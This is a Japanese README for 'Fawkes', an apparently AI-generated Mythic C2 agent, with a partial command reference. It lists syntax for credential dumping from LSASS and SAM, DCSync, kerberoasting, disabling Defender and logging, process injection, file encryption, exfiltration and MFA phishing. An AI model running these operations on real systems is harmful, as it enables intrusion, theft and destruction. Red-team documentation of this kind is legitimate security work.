
fawkes — Updated!
Fawkesは、AIのみによって作成されたgolangのMythic C2エージェントです。
Fawkes Mythic C2 Agent
Fawkesは、完全にvibe-codedされたMythic C2エージェントです。最初は「I wonder」から始まり、目標へと変わりました。私の目標は、このエージェントのために1行もコードを書かず、代わりにプロンプトだけで生成することです。
当初は自分でエージェントを書こうと試みましたが、サンプルコンテナをクローンし、Mythicのドキュメントを読み、開発シリーズのYouTubeビデオを視聴し、MerlinやFreyjaなどの他のエージェントからコードをコピーした後、自分自身のエージェントを開発する時間がただ単にないと判断しました。しかし、プロンプトなら時間があります。
Fawkesは、クロスプラットフォーム機能を備えたgolangベースのエージェントです。Windows (EXE、DLL、シェルコードペイロード)、Linux (ELFバイナリと共有ライブラリ)、macOS (IntelおよびApple Silicon用のMach-Oバイナリ) をサポートします。213のコマンド 合計: 113のクロスプラットフォーム、82のWindows専用、21のUnix専用、11のLinux専用、6のmacOS専用 (一部のコマンドは、スクリーンショットなど、1つのユーザー向けの名前でプラットフォーム固有の実装を共有しています)。HTTPエグレスおよび内部ピボットのためのTCPピアツーピア (P2P) リンクをサポートします。
Installation
Fawkesをインストールするには、リモートコンピュータにMythicがインストールされている必要があります。Mythicのインストール手順は、Mythicプロジェクトページにあります。
Mythicのインストールディレクトリから:``` ./mythic-cli install github https://github.com/galoryber/fawkes
## コマンドのクイックリファレンスCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Active DirectoryオブジェクトのDACLを読み取り・変更(ACEの追加・削除、DCSync、GenericAll、バックアップ・リストアの許可)。クロスプラットフォーム(T1222.001、T1098、T1003.006)。
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | AD証明書サービスを列挙し、脆弱なテンプレート(ESC1-ESC4、ESC6 via DCOM)を検出、DCOM経由でESC1/ESC6悪用の証明書を要求、または自動悪用(検出→解析→要求チェーン)。クロスプラットフォーム(T1649)。
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Windowsのみ)** NTFS代替データストリームを管理 - 隠しデータストリームの書き込み、読み取り、一覧表示、削除。テキストと16進エンコードされたバイナリをサポート。MITRE T1564.004。
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | フォレンジック実行アーティファクトを照会・クリーンアップ。Windows: Shimcache。Linux: recently-used.xbel、サムネイル、Tracker。macOS: 最近使った項目、KnowledgeC、隔離(T1070.004)。
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Windowsのみ)** リモートプロセスインジェクション。`-method apc`(デフォルト)はNtQueueApcThreadを使用してシェルコードをアラート可能なスレッドにキューイング(`ts`で検索)。`-method hwbp`はDebugActiveProcessでアタッチし、DR0ハードウェアブレークポイントをターゲットAPI(デフォルト`ntdll!NtDelayExecution`)に設定、ブレークポイント発火時にRipをシェルコードにリダイレクト - TID不要、APCキュー不要、CreateRemoteThread不要(T1055.004、T1055)。
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | マイクから音声を録音し、WAVファイルをアップロード。Windows(waveIn)、Linux(arecord/parecord)、macOS(rec/ffmpeg)。クロスプラットフォーム(T1123)。
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Windowsのみ)** Windows監査ポリシーの照会・変更。機密操作の前にセキュリティイベントログを無効化。ステルスモードは検出に重要なサブカテゴリを無効化。AuditQuerySystemPolicy APIを使用(T1562.002)。
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Windowsのみ)** プロセス引数を偽装してコマンドを実行。SysmonイベントID 1やEDRコマンドラインテレメトリを回避(T1564.010)。
arp | `arp [-ip <subnet>]` または `arp -action spoof -target <IP> -gateway <IP>` | ARPテーブルをフィルタリングして表示、またはARPキャッシュポイズニングでMITMポジショニング(T1557.002)。Spoof: Linuxのみ、クリーンアップ時に復元。
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | 事前認証なしのアカウントに対してAS-REPチケットを要求し、オフラインクラッキング用にhashcat形式のハッシュを抽出。LDAP経由で自動列挙。クロスプラットフォーム(T1558.004)。
av-detect | `av-detect [-deep true]` | 130以上のシグネチャデータベースで実行中プロセスをスキャンし、インストールされたAV/EDR/セキュリティ製品を検出。`--deep`ではカーネルモジュール、systemdユニット、設定ディレクトリもチェック(インストール済みだが未実行の製品をLinuxで検出)。製品、ベンダー、タイプ、PIDを報告。クロスプラットフォーム。
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Windowsのみ)** 最も近いリターン(C3)命令にジャンプして関数を自動パッチ。AMSI/ETWバイパスに有用。
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | データエンコーディングツールキット:base64、XOR(文字列/16進キー)、hex、ROT13、URLパーセントエンコーディング、シーザー暗号。すべてファイルI/Oをサポート。クロスプラットフォーム(T1132.001、T1140、T1027)。
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Windowsのみ)** BITS転送ジョブを管理:永続化とステルスファイルダウンロード。ジョブの作成、中断、再開、完了、通知コマンドの設定。ジョブは再起動後も存続(T1197)。
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Chromium、Firefox、Safariからブラウザデータを収集。履歴、オートフィル、ブックマーク、ダウンロードはクロスプラットフォーム。パスワード:Chromium(DPAPI/Keychain/GNOME Keyring)、Firefox(key4.db NSS復号)、Safari(macOS Keychain)。Firefoxクッキーは全プラットフォーム。MITRE T1555.003、T1217。
cat | `cat <file>` または `cat -path <file> -start N -end N -number true` | ファイル内容を表示。行範囲、行番号、5MBサイズ保護オプション付き。
cd | `cd <directory>` | 現在のワーキングディレクトリを変更。
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | ファイル/ディレクトリのパーミッションを変更(8進数755、644または記号 +x、u+rw、go-w)。再帰サポート。クロスプラットフォーム(T1222)。
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Linux/macOSのみ)** ファイル/ディレクトリの所有者をユーザー名/UIDおよびグループ名/GIDで変更。再帰サポート(T1222)。
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | リモートホストのTLS証明書を検査 - CA、自己署名証明書、有効期限、SAN、TLSバージョン、暗号スイート、SHA256フィンガープリントを識別。クロスプラットフォーム(T1590.001)。
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Windowsのみ)** Windows証明書ストアを列挙し、コード署名証明書、クライアント認証証明書、秘密鍵を検索。CurrentUserとLocalMachineを検索。MITRE T1552.004、T1649。
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | クリップボードを読み取り・書き込み、または継続的に監視して資格情報パターンを検出。クロスプラットフォーム(T1115)。
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | クラウドメタデータ、資格情報抽出、IAM列挙、ストレージ列挙、永続化、シークレットストアアクセス。storage/aws-s3/azure-blob/gcp-gcs:サンプルオブジェクト付きバケット/コンテナ列挙。aws-ssm:SSMパラメータストア(復号付き)。azure-keyvault:マネージドID経由のKey Vaultシークレット。gcp-secrets:サービスアカウント経由のSecret Manager。aws-persist/azure-persist:長期アクセスキー/アプリ登録の作成。自動検出。IMDSv2。クロスプラットフォーム(T1552.005、T1580、T1530、T1098.001)。
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | アーカイブの作成、一覧表示、展開、ステージング、または外部送信。ステージはAES-256-GCMで暗号化。ExfilはMythicに転送。exfil-https:S3/Azure/GCSの署名付きURLにチャンクアップロード、カスタムヘッダー、ジッター付きでアップロード。exfil-github:GitHub Contents API経由で外部送信。クロスプラットフォーム(T1560.001、T1074.001、T1041、T1048、T1567、T1567.001)。
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | MS-EFSR(PetitPotam)、MS-RPRN(PrinterBug)、MS-FSRVP(ShadowCoerce)によるNTLM認証強制。ターゲットを攻撃者リスナーに認証させる。パスザハッシュ対応。クロスプラットフォーム(T1187)。
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | ランタイムエージェント設定の表示・変更、またはエージェントバイナリの自己更新。`show`/`set`:スリープ、ジッター、キルデート、稼働時間。`update`:Mythicから新しいペイロードをダウンロード、検証、起動、現在のエージェントを終了。クロスプラットフォーム(T1105)。
container-detect | `container-detect` | コンテナランタイムと環境(Docker、K8s、LXC、Podman、WSL)を検出。DockerソケットやK8sサービスアカウントなどのエスケープベクトルをチェック。クロスプラットフォーム(T1082、T1497.001)。
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Linuxのみ)** コンテナブレイクアウト+K8s操作 - Dockerソケット、cgroup、nsenter、ホストデバイスマウント。K8s:ポッド/サービスの列挙、シークレットの読み取り、**k8s-rbac**:ClusterRole/RoleBindingのスイープ+権限昇格パススコアリング(crit/warn/info)、**k8s-nodes**:クラスタノード攻撃面(kubelet/OS/カーネル/CIDR/テイント/ロール)、**k8s-etcd**:コントロールプレーンポッド引数からetcdクライアントエンドポイントを発見+エンドポイントごとに認証なしの`/version`プローブ(認証なし読み取り=完全なクラスタ侵害)、API経由でポッドのデプロイ/実行。**クラスタ外**:`-kubeconfig`は盗まれたkubeconfigファイルを受け入れ、非コンテナホストからK8sアクセス(トークン+クライアント証明書認証)(T1611、T1610、T1613、T1552.007、T1069.003、T1087.004)。
cp | `cp <source> <destination>` | ファイルをソースからデスティネーションにコピー。
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | ターゲットホストに対してSMB、WinRM、LDAPの資格情報をテスト。`verify-all`はすべての保管資格情報を発見されたホストに対して並列テスト。クロスプラットフォーム(T1110.001、T1078)。
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | 資格情報を収集:シャドウハッシュ(Unix)、クラウド設定(AWS/GCP/Azure/K8s)、アプリケーションシークレット、シェル履歴スキャン(漏洩したパスワード/トークン/APIキー)、PowerShell履歴+環境変数+RDP(Windows)、M365 OAuth/JWTトークン(TokenBroker/Teams/Outlookから)(Windows)、**browser-live**:Chrome DevTools Protocol(CDP)を使用して実行中のChrome/Edgeからライブクッキー、localStorage、sessionStorageを盗む。**dump-all**:自動サブタスクチェーン - hashdump + lsa-secrets + cred-harvestをすべて並列実行(Windows)。クロスプラットフォーム(T1552、T1003.008、T1528、T1539)。
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | ネイティブ資格情報ダイアログの表示、OAuthデバイスコードフローの悪用、MFAコードのフィッシング。dialog:macOS AppleScript、Windows CredUI、Linux zenity/kdialog。device-code:Azure AD OAuthデバイスコードフローによるトークンキャプチャ。mfa-phish:偽のMFA確認ダイアログでTOTPコードをキャプチャ。クロスプラットフォーム(T1056.002、T1621、T1111)。
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | HTTPリクエスト+ファイルアップロード外部送信(T1567)。S3署名付きURL、Azure SAS、汎用エンドポイントにアップロード。クロスプラットフォーム(T1106、T1567.002)。
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | ファイルの行からフィールドまたは文字範囲を抽出。カスタム区切り文字、範囲指定。クロスプラットフォーム(T1083)。
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | プラットフォームの資格情報ストアを列挙。Windows:資格情報マネージャー+Vault(CredEnumerateW、vaultcli.dll)。Linux:GNOME Keyring(secret-tool)、KDE KWallet、NetworkManager WiFi/VPNパスワード、GNOME Online Accounts。macOS:キーチェーンアイテム(汎用+インターネットパスワード)、WiFiパスワード。`list`=メタデータ、`dump`=シークレット付き、`vault`=Windowsのみ。MITRE T1555.004、T1555.001。
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Windowsのみ)** Defenderの管理 - ステータス、除外、脅威、リアルタイム保護の有効化/無効化。MITRE T1562.001。
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Windowsのみ)** DPAPI blob復号(CryptUnprotectData)、マスターキーの列挙、Chrome/Edge暗号化キーの抽出。MITRE T1555.003/T1555.005。
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Windowsのみ)** COM経由でOutlookメールボックスにアクセス。メッセージ数カウント、キーワード検索、インデックス指定で読み取り、フォルダ一覧。MITRE T1114.001。
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Windowsのみ)** DCOMを介してリモートホストでコマンド実行、ファイルアップロード、またはステージ&実行。`check`はRPC/DCOMの前提条件を検証。upload:certutil/PowerShellステージング経由でファイル転送。exec-staged:アップロード後自動クリーンアップ付きで実行。6つのCOMオブジェクト。MITRE T1021.003、T1570。
debug-detect | `debug-detect` | アタッチされたデバッガー、解析ツール、計装を検出。Windows:IsDebuggerPresent、NtQueryInformationProcess、PEB、DRレジスタ。Linux:TracerPid、LD_PRELOAD、メモリマップ(Frida/Valgrind/sanitizers)、VM/サンドボックス、eBPFモニタリング(Falco/Tetragon/Tracee)、auditdフレームワーク、ptraceスコープ。macOS:sysctl P_TRACED、DYLD_INSERT_LIBRARIES、VM検出(sysctl)、セキュリティ製品(EDR/AV)、サンドボックス/解析環境。すべて:デバッガプロセススキャン(T1497.001)。
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync - LSASSに触れずにDRS経由でAD資格情報を複製。`domain-takeover`はkerberoast + asrep-roast + dcsync krbtgt/Administratorを並列実行。クロスプラットフォーム(T1003.006)。
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | ファイルシステムのディスク使用量を報告(デバイス、マウントポイント、fstypeフィルタリングオプション付き)。クロスプラットフォーム(T1082)。
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | 2つのファイルを比較し、unified diff形式で差分を表示。LCSベースのアルゴリズム、設定可能なコンテキスト行。クロスプラットフォーム(T1083)。
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | DNS列挙 - ホスト解決、レコード照会、DC発見、ゾーン転送、ワイルドカード検出、DNS-over-HTTPSステルス解決、DNS外部送信。クロスプラットフォーム(T1018、T1071.004、T1048.001)。
du | `du -path <file_or_dir> [-max_depth <n>]` | ファイルとディレクトリのディスク使用量を報告。サブディレクトリごとのサイズ内訳、最大サイズ順にソート。クロスプラットフォーム(T1083)。
drivers | `drivers [-filter <name>]` | ロードされたカーネルドライバー/モジュールを列挙。Windows:EnumDeviceDrivers、Linux:/proc/modules、macOS:kext列挙。クロスプラットフォーム(T1082)。
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | ADパスワード/ロックアウトポリシーとFGPPをLDAP経由で列挙。スプレーセーフな推奨事項。クロスプラットフォーム(T1201)。
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Linux/macOSのみ)** cronジョブの一覧表示、追加、削除(永続化用)。生のcronエントリまたはプログラム+スケジュール構文をサポート。
download | `download <path>` または `download {"path": "/file", "compress": true}` | ターゲットからファイルまたはディレクトリをダウンロード。1MB超のファイルは自動gzip圧縮(設定可能)。ディレクトリは自動zip圧縮。SHA256ハッシュ検証。チャンク転送、ファイルブラウザ統合。
drives | `drives` | 利用可能なドライブ/ボリュームとマウントされたファイルシステムをタイプ、ラベル/デバイス、空き容量/合計容量とともに一覧表示。
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Windowsのみ)** 全プロセスにわたるアクセストークンを列挙。`list`はプロセスごとにPID/ユーザー/整合性レベル/セッションを表示。`unique`はユーザーごとにグループ化しプロセス数を表示。SeDebugPrivilegeを自動有効化(T1134、T1057)。
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | AES-256-GCM暗号化/復号(T1486)+ターゲットファイル破壊(T1565)。corrupt:ファイルヘッダーをランダムデータで上書き。破壊的操作にはセーフティゲートが必要。
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | エージェントプロセスの環境変数を一覧表示、取得、設定、削除。変更は子プロセスに継承される。クロスプラットフォーム。
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | プロセス環境変数をスキャンして漏洩した資格情報、APIキー、シークレットを検出。クラウド、データベース、CI/CD、暗号関連の35以上の検出パターン。Linux + macOS(T1057、T1552.001)。
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows、Linux、macOS)** 監査/テレメトリサブシステム操作。Windows:ETWセッション/プロバイダの停止、ブラインド、ブラインドオール、有効化、パッチ、復元。Linux:auditdルール、journaldクリア/ローテート、syslog設定、SIEMエージェント検出。macOS:統合ログ、セキュリティエージェント検出。(T1562、T1070.002)。
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | システムイベントログの管理。Windows:wevtapi.dllチャンネル。Linux:journaldユニットとsyslogファイル。macOS:Unified Logging(os_log)サブシステム/プロセス。ソースの一覧表示、イベント照会、ログのクリア/バキューム、情報取得。MITRE T1070.001、T1562.002。
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | メモリからネイティブバイナリを実行。Linux:memfd_create(ディスク書き込みなし)。macOS:アドホックコード署名付き一時ファイル。Windows:即時クリーンアップ付き一時ファイル。全プラットフォームで実行後にアーティファクトを削除。MITRE T1620。
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | 現在のプロセスでシェルコードを実行。ランタイム復号(T1027)付きのXOR/AES-256-CTRエンコードシェルコードをサポート。Windows:VirtualAlloc + CreateThread。Linux:mmap(デフォルト)またはmemfd_create。macOS:MAP_JIT(ARM64)またはmmap。クロスプラットフォーム(T1059.006、T1620)。
exit | `exit` | エージェントを終了するようタスク。
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | ファイル属性の取得または設定 - hidden、readonly、system(Windows);immutable、append、nodump(Linux);hidden、immutable(macOS)。-attrsを省略して現在のフラグを表示。クロスプラットフォーム(T1564.001、T1222)。
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | マジックバイト(35以上のシグネチャ)でファイルタイプを識別。単一ファイルまたはディレクトリスキャン。実行ファイル、アーカイブ、ドキュメント、画像、データベース、メディアなどを検出。クロスプラットフォーム(T1083)。
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | 名前、サイズ、日付、パーミッション、または所有者でファイルを検索。SUIDバイナリ、全ユーザー書き込み可能ファイル、特定ユーザー所有ファイルを検出。クロスプラットフォーム(T1083)。
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | ホストをスイープし、SMB(C$共有)および/またはWinRM経由で資格情報が管理者アクセスを持つ場所を発見。**auto-move**:自動サブタスクチェーン - 管理者ホストを発見後、psexec/wmi経由で各ホストにラテラルムーブ。CIDR、IP範囲、PTH、並列スキャン対応(T1021.002、T1021.006)。
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows、macOS、Linux)** ファイアウォールルールの管理。Windows:COM API。macOS:ALF + pfアンカールール。Linux:iptables/nftables(自動検出)。macOSパケットフィルタリング用のPFアンカーサポート。MITRE T1562.004。
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows、macOS、Linux)** 特権/ケイパビリティの一覧表示。Windows:トークン特権(有効化/無効化/削除)。Linux:プロセスケイパビリティ(CapEff/CapPrm)+SELinux/AppArmorコンテキスト。macOS:エンタイトルメント、サンドボックス、グループ(T1134.002)。
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows、Linux、macOS)** 権限昇格。Windows:トークン窃取またはDCOM potatoでSYSTEMに。Linux:昇格ベクトルのチェック(SUID、sudo、ケイパビリティ、docker)またはsudo昇格の試行。macOS:ベクトルチェック、sudo、またはosascript管理者プロンプト(T1134、T1548)。
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | SYSVOLで暗号化されたcpassword属性を持つGPP XMLファイルを検索し、公開AES鍵(MS14-025)を使用して復号。SMB経由でクロスプラットフォーム(T1552.006)。
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | LDAP経由でグループポリシーオブジェクトを列挙 - GPOの一覧表示、強制適用付きリンクのマッピング、興味深いCSE設定の検出。クロスプラットフォーム(T1615)。
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | ファイル内容を正規表現パターンで検索。拡張子フィルタリング、コンテキスト行、バイナリファイルスキップ付きの再帰ディレクトリ検索。クロスプラットフォーム(T1083、T1552.001)。
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | ファイルハッシュ(MD5、SHA-1、SHA-256、SHA-512)を計算。単一ファイルまたはglobパターンフィルタリングと深さ制御付きディレクトリ。クロスプラットフォーム(T1083)。
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | ファイル内容をxxd形式のhex+ASCIIで表示。特定領域を調べるためのオフセット/長さ制御、最大4096バイト。クロスプラットフォーム(T1005)。
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows、Linux、macOS)** プロセスのオープンハンドル/ファイル記述子を列挙。Windows:NtQuerySystemInformation。Linux:/proc/pid/fd。macOS:lsof(T1057、T1082)。
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows、Linux、macOS)** ローカルアカウントパスワードハッシュの抽出。Windows:SAMレジストリからのNTLMハッシュ(SYSTEMが必要);**insitu**:インプロセスLSA API経由でアクティブログオンセッションを列挙(管理者権限が必要);**insitu-full**:PROCESS_VM_READでlsass.exeを開き、lsasrv.dll内のLogonSessionListをシグスキャン、リンクリストを走査、各ノードにKIWI_MSV1_0_LIST_63レイアウトをオーバーレイしてLUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointerを解析、credentials_ptrで各AuthPackageの資格情報チェーンを走査し各KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENCエンベロープをキャプチャ、LsaInitializeProtectedMemory_InternalをシグスキャンしてIV/h3DesKey/hAesKey BCryptキーグローバルと生の16バイトIV/24バイト3DES/32バイトAESキーバイトを回復、各キャプチャされた暗号文ブロブをAES-256-CFB/3DES-CBCで復号(ブロブごとに`len % 8`でアルゴリズム選択)、KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEWレイアウトをオーバーレイしてNT/LM/SHAハッシュを抽出 - `username:rid:lm:nt:::`形式で出力(dump-actionのProcessResponse資格情報ボルトフックと互換性あり)(フェーズ2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c、Win10 21H2 - Win11 23H2、管理者権限が必要)。Linux:/etc/shadowハッシュ(ハッシュタイプ識別付き)(rootが必要)。macOS:Directory Services PBKDF2ハッシュ(ユーザーplistから)(rootが必要)。**auto-spray**:ハッシュをダンプ後、cred-checkを使用してターゲットホストに自動スプレー。MITRE T1003.002、T1003.008。
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | シェル/アプリケーションのコマンド履歴ファイルを一覧表示または消去。bash、zsh、fish、PowerShell、python、mysqlなどをカバー。クロスプラットフォーム(T1070.003)。
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | プロセスハロウイング - 中断状態でプロセスを作成、シェルコードを書き込み、実行をリダイレクト。**Windows:** CREATE_SUSPENDED + SetThreadContext、PPID偽装、DLLブロッキング、PEB装飾(ImagePath/CommandLine/WindowTitleのマスキング)。**Linux (amd64/arm64):** PTRACE_TRACEME + /proc/mem書き込み。**macOS:** ptrace + Mach VM API(task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect)- rootが必要。MITRE T1055.012、T1036。
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | IDE設定の列挙 - VS Code拡張機能、リモートSSHホスト、最近のプロジェクト、シークレットを含む設定。JetBrainsデータソース、デプロイサーバー、最近のプロジェクト。クロスプラットフォーム(T1005、T1083)。
ifconfig | `ifconfig` | ネットワークインターフェースをアドレス、MAC、MTU、フラグとともに一覧表示。クロスプラットフォーム(Windows/Linux/macOS)。
inline-assembly | `inline-assembly` | **(Windowsのみ)** CLRを使用してメモリ内で.NETアセンブリを実行。コマンドライン引数をサポート。AMSIパッチワークフローには最初に`start-clr`を使用。
inline-execute | `inline-execute` | **(Windowsのみ)** Beacon Object File(BOF/COFF)をメモリ内で実行。すべての引数タイプ(文字列z、ワイド文字列Z、整数i、ショートs、バイナリb)をサポート。
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Windowsのみ)** ネイティブPE(DLL)をメモリから現在のプロセスにロード。セクションコピー、再配置修正、インポート解決、DllMain呼び出しを含む手動PEマッピング。オプションでエクスポート関数を呼び出し(T1620)。
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Linuxのみ)** Linuxファイアウォールの列挙と管理(iptables/nftables/ufw経由)。IP転送、コネクショントラッキング、ルール一覧表示と変更。MITRE T1562.004。
jobkill | `jobkill -id <task-uuid>` | タスクIDで実行中のタスクを停止。`jobs`で実行中タスクを一覧表示。クロスプラットフォーム。
jobs | `jobs` | 現在実行中のタスクをタスクID、コマンド名、実行時間とともに一覧表示。クロスプラットフォーム。
jxa | `jxa -code '<script>' [-timeout 60]` または `jxa -file /path/to/script.js` | **(macOSのみ)** ObjCブリッジ経由でFoundation、AppKit、SecurityフレームワークにアクセスするJavaScript for Automation(JXA)スクリプトを実行。インラインコードとファイル入力をサポート(T1059.007)。
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | SPNアカウントのTGSチケットを要求し、オフラインクラッキング用にhashcat形式のハッシュを抽出。LDAP経由で自動列挙。クロスプラットフォーム(T1558.003)。
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Kerberosチケットの列挙、ダンプ、削除、インポート。インポートによりPass-the-Ticketが可能:WindowsはLSAにkirbiを注入、Linux/macOSはccacheを書き込みKRB5CCNAMEを設定。クロスプラットフォーム(T1558、T1550.003)。
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(macOSのみ)** macOSキーチェーンにアクセス - キーチェーンの一覧表示、メタデータダンプ、汎用/インターネットパスワードの検出、証明書の列挙。
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Kerberos委任関係の列挙 - 制約なし、制約あり(プロトコル遷移付き)、RBCD。**monitor**アクション(Windows/SYSTEMのみ)はLSAからの着信TGTをポーリングし、kirbiブロブとしてエクスポート。monitor以外はクロスプラットフォーム(T1550.003、T1558)。
